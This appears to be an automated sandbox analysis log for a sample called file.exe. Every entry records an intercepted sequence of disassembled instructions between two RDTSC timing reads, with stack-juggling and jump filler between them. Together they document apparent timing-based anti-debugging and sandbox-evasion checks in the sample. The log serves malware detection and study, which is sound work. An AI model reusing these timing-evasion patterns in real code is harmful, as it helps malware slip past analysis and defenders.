Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135747C second address: 135749A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FF6744C8C9Ch 0x00000010 jc 00007FF6744C8C96h 0x00000016 push eax 0x00000017 jns 00007FF6744C8C96h 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135AB49 second address: 135AB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jno 00007FF674E409B6h 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF674E409BAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135ACC9 second address: 135ACD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B0A0 second address: 135B0AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FF674E409B6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B0AF second address: 135B0B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B0B5 second address: 135B0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF674E409B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B0BF second address: 135B0D5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF6744C8C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FF6744C8CA7h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B0D5 second address: 135B0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF674E409BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361020 second address: 1361024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361024 second address: 136104B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FF674E409BAh 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136104B second address: 1361052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361052 second address: 1361058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361197 second address: 136119B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136119B second address: 13611B2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FF674E409C1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136134B second address: 1361363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF6744C8CA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361363 second address: 136138A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF674E409B6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d jne 00007FF674E409D7h 0x00000013 push eax 0x00000014 jmp 00007FF674E409C1h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13616AC second address: 13616CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FF6744C8C9Ch 0x0000000f js 00007FF6744C8C96h 0x00000015 jmp 00007FF6744C8C9Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361CE0 second address: 1361CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361CE6 second address: 1361CFF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF6744C8C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF6744C8C9Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361CFF second address: 1361D05 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361FBC second address: 1361FC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361FC2 second address: 1361FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361FCE second address: 1361FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FF6744C8CA0h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1362BD3 second address: 1362C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jne 00007FF674E409BAh 0x0000000b push edi 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push esi 0x00000010 jmp 00007FF674E409C7h 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 jnl 00007FF674E409CCh 0x0000001e popad 0x0000001f push edi 0x00000020 jmp 00007FF674E409C8h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF674E409BFh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B5DA second address: 136B5F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8CA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B5F6 second address: 136B60A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007FF674E409B6h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007FF674E409B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B768 second address: 136B76C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B76C second address: 136B78F instructions: 0x00000000 rdtsc 0x00000002 js 00007FF674E409B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007FF674E409C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B8CD second address: 136B8E5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF6744C8C96h 0x00000008 jne 00007FF6744C8C96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jbe 00007FF6744C8C9Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BB8B second address: 136BB8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BB8F second address: 136BB95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BB95 second address: 136BB9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BB9A second address: 136BBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF6744C8C96h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BD13 second address: 136BD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BEC4 second address: 136BEC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C144 second address: 136C14A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372934 second address: 137293C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372BE3 second address: 1372BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF674E409B6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372BF5 second address: 1372C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FF6744C8C9Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372D6C second address: 1372D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FF674E409B6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372D7D second address: 1372DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FF6744C8CA5h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF6744C8CA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373527 second address: 1373538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373538 second address: 1373542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373542 second address: 1373548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AA89 second address: 137AA8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AA8D second address: 137AA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AA96 second address: 137AA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AA9E second address: 137AAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AAA5 second address: 137AAAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF6744C8C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AAAF second address: 137AAC1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF674E409B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FF674E409B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AAC1 second address: 137AAC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AAC5 second address: 137AAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007FF674E409B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AC22 second address: 137AC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jns 00007FF6744C8CADh 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FF6744C8CA5h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AC5F second address: 137AC63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AC63 second address: 137AC70 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF6744C8C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A136 second address: 138A148 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF674E409B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FF674E409B8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A148 second address: 138A161 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF6744C8CA4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A161 second address: 138A167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A167 second address: 138A18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007FF6744C8C9Ch 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FF6744C8C9Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A18F second address: 138A1B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF674E409C3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392A49 second address: 1392A59 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF6744C8CA2h 0x00000008 jng 00007FF6744C8C96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392A59 second address: 1392A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139CFC0 second address: 139CFCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FF6744C8C96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6219 second address: 13A621D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A621D second address: 13A6228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A53EC second address: 13A53F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A53F2 second address: 13A53F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A53F6 second address: 13A53FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5542 second address: 13A5548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8F3C second address: 13A8F40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8F40 second address: 13A8F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FF6744C8CA2h 0x0000000c ja 00007FF6744C8CA0h 0x00000012 jmp 00007FF6744C8C9Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 jp 00007FF6744C8C96h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8AA9 second address: 13A8AAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8AAF second address: 13A8ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF6744C8CA8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8ACD second address: 13A8AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8C34 second address: 13A8C64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8C9Eh 0x00000007 jng 00007FF6744C8C96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FF6744C8CA8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8C64 second address: 13A8C7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409C0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8C7A second address: 13A8C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF2DF second address: 13AF2E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF2E5 second address: 13AF311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF6744C8C9Fh 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FF6744C8C9Fh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAD5B second address: 13BAD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAD66 second address: 13BAD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAD6A second address: 13BAD70 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAD70 second address: 13BAD7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAD7A second address: 13BAD7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAD7E second address: 13BAD88 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF6744C8C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAD88 second address: 13BAD93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7BC4 second address: 13C7BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7BC8 second address: 13C7BD2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7BD2 second address: 13C7BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7BD6 second address: 13C7BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8603 second address: 13D8609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D73D9 second address: 13D73DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D786C second address: 13D7871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7A15 second address: 13D7A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF674E409B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7A20 second address: 13D7A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FF6744C8C96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7CF0 second address: 13D7CFA instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF674E409B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7CFA second address: 13D7D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7D06 second address: 13D7D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DAF5D second address: 13DAF61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB1EF second address: 13DB1F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB1F3 second address: 13DB1F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
